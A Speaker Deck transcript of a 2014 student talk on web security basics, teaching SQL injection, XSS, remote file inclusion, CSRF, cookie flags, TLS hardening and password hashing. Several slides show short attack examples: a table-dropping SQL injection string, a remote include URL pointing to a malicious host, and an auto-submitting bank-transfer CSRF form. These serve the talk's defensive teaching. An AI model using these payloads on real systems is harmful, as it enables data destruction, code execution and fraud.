Upgrade to Pro — share decks privately, control downloads, hide ads and more …

RCOS Security Talk

Sponsored · SiteGround - Reliable hosting with speed, security, and support you can count on. →
Avatar for Kevin O'Connor Kevin O'Connor
February 28, 2014
Programming
3
170

RCOS Security Talk

Basic overview of common vulnerabilities and best practices.

Avatar for Kevin O'Connor

Kevin O'Connor

February 28, 2014
Tweet

More Decks by Kevin O'Connor

See All by Kevin O'Connor
SD&D 101
Avatar for Kevin O'Connor kevinoconnor7
0
78

Other Decks in Programming

See All in Programming
なぜSQLはAIぽく見えるのか/why does SQL look AI like
Avatar for florets1 florets1
0
450
AI Agent の開発と運用を支える Durable Execution #AgentsInProd
Avatar for izumin5210 izumin5210
7
2.3k
組織で育むオブザーバビリティ
Avatar for ryotaro kobayashi ryota_hnk
0
170
フルサイクルエンジニアリングをAI Agentで全自動化したい 〜構想と現在地〜
Avatar for Kaito Minatoya kamina_zzz
0
400
ぼくの開発環境2026
Avatar for yuzneri yuzneri
0
210
Package Management Learnings from Homebrew
Avatar for Mike McQuaid mikemcquaid
0
220
The Past, Present, and Future of Enterprise Java
Avatar for ivargrimstad ivargrimstad
0
550
Automatic Grammar Agreementと Markdown Extended Attributes
について
Avatar for Kishikawa Katsumi kishikawakatsumi
0
180
AIと一緒にレガシーに向き合ってみた
Avatar for nyafunta9858 nyafunta9858
0
230
Apache Iceberg V3 and migration to V3
Avatar for Tomohiro Tanaka tomtanaka
0
160
AIフル活用時代だからこそ学んでおきたい働き方の心得
Avatar for shinoyu shinoyu
0
130
AIエージェント、”どう作るか”で差は出るか？ / AI Agents: Does the "How" Make a Difference?
Avatar for r-kagaya rkaga
4
2k

Featured

See All Featured
Facilitating Awesome Meetings
Avatar for Lara Hogan lara
57
6.8k
Information Architects: The Missing Link in Design Systems
Avatar for Michelle Chin soysaucechin
0
770
Are puppies a ranking factor?
Avatar for Jono Alderson jonoalderson
1
2.7k
The AI Revolution Will Not Be Monopolized: How open-source beats economies of scale, even for LLMs
Avatar for Ines Montani inesmontani
PRO
3
3k
Leveraging Curiosity to Care for An Aging Population
Avatar for Cassini Nazir cassininazir
1
160
個人開発の失敗を避けるイケてる考え方 / tips for indie hackers
Avatar for panda_program panda_program
122
21k
AI: The stuff that nobody shows you
Avatar for John Nunemaker jnunemaker
PRO
2
250
Primal Persuasion: How to Engage the Brain for Learning That Lasts
Avatar for Mike Taylor tmiket
0
250
A Modern Web Designer's Workflow
Avatar for Chris Coyier chriscoyier
698
190k
Applied NLP in the Age of Generative AI
Avatar for Ines Montani inesmontani
PRO
4
2k
Max Prin - Stacking Signals: How International SEO Comes Together (And Falls Apart)
Avatar for Tech SEO Connect techseoconnect
PRO
0
84
Visualization
Avatar for Eitan Lees eitanlees
150
17k

Transcript

  1. YOU SUCK at security

  2. 1. Your attackers are better

  3. Do NOT ROLL YOUR OWN

  4. None

  5. 1.  Open-source 2.  Audited 3.  Active community

  6. 2. Security is hard

  7. No. Seriously.

  8. 5,000 CVEs /yr

  9. 3. Dont trust input

  10. <?php! $query = "SELECT * FROM users WHERE username='". "$_GET[’user']."'";

    ! $result = mysql_query($query);!

  11. /derp.php?user=x’ DROP TABLE users;--!

  12. /derp.php?user=x’ DROP TABLE users;--! http://xkcd.com/327/

  13. <?php! $stmt = $dbh->prepare("SELECT FROM users WHERE username=?");! $stmt->execute(array($_GET['user']));! Use

    Parameter Binding

  14. <div><?php echo $row['username']; ?></div>! XSS. Inject javascript

  15. <html>! <body>! "<form method="POST" action="/users/add">! " "<input type="text" name="username">! "

    "<input type="password" name="password">! " "<input type="hidden" name="isAdmin" value="true">! " "<button type="submit">Create user</button>! "</form>! </body>! </html>! Unexpected Input. Sneaky DOM edit

  16. <?php! include('header.php');! include($_GET['page']);! include('footer.php');! ! /index.php?page=http://sketchy.su/BadTime.php! Remote Include.

  17. Sanitize all input

  18. Blacklist Only use if you know all cases Less restrictive

    on user

  19. Whitelist Best security Very restrictive

  20. Protip Markdown Google Caja

  21. 4. Protect your cookies

  22. Set-Cookie: SESSIONID=S8d2d1ffd5cb37209ef71982b80f16d7b! Bad Session

  23. Set-Cookie: SESSIONID=S8d2d1ffd5cb37209ef71982b80f16d7b; ! "HttpOnly; secure! GOOD Session Send over SSL

    only HTTP access only Prevents XSS theft

  24. 5. No Outsiders

  25. <iframe name="bank"></iframe>! <script>! "document.write('! " "<form ! " " action="https://MyBank.com/account/transfer"

    ! " " target="bank" ! " " method="POST" ! " " name="injected">! " " "<input type="text" name="amount" value="1000.00" />! " " "<input type="text" name="to" value="[email protected]" />! " "</form>! "');! "injected.submit();! </script>!

  26. CSRF sucks

  27. Block it. Require a unique token per request X-Frame-Options: Block

  28. 6. Encrypt everything

  29. Too expensive? startssl.com

  30. Self-sign Dev Environment openssl req -x509 -newkey des3:2048 -keyout key.pem

    - out cert.pem -days XXX!

  31. Verify All CERTS <?php! // cURL supports SSL verification! curl_setopt($ch,

    CURLOPT_SSL_VERIFYPEER, true);! ! //File_get_contents does NOT! file_get_contents($url);!

  32. Verify Servers Use server certs to verify servers to one

    another

  33. Harden SSL Disable SSL2 Disable TLS1.0 compression Disable weak ciphers

    (DES, RC4) h"p://blog.cloudflare.com/staying-­‐on-­‐top-­‐of-­‐tls-­‐a"acks  

  34. Force SSL

  35. 7. Use Slow Hashes

  36. No Plaintext Passwords Just don’t.

  37. Hash + Salt MD5 SHA1 … HMAC + bcrypt

  38. Wait. Explain. We want to be slow.

  39. Method password = bcrypt(HMAC(password, local_salt), bcrypt_salt)!

  40. Salt-free db Store salt on file system Two attacks needed

    Or both

  41. Migrate. Maintain two hashes Rehash on successful login Purge old

    hashes after x duration

  42. Lost Passwords Hash a one-time login ID

  43. 8. Remember the basics

  44. Random IV Having the IV be public is okay

  45. Wait for entropy /dev/random waits /dev/urandom non-blocking

  46. Use ECC NSA-Proof * * As far as we know,

    at least…

  47. Passwordless Login Use keypairs for server access

  48. 9. Use libraries

  49. Crypto NaCL SJCL Crypto++ QCA

  50. Web Frameworks Python: Django, Flask PHP: Laravel, Phalcon Go: Revel

    Node: Sails Java/Scala: Play Ruby: Rails

  51. Assume nothing Always research security best practices

  52. Questions? Complaints?

  53. Im hiring Sysadmin.union.rpi.edu/apply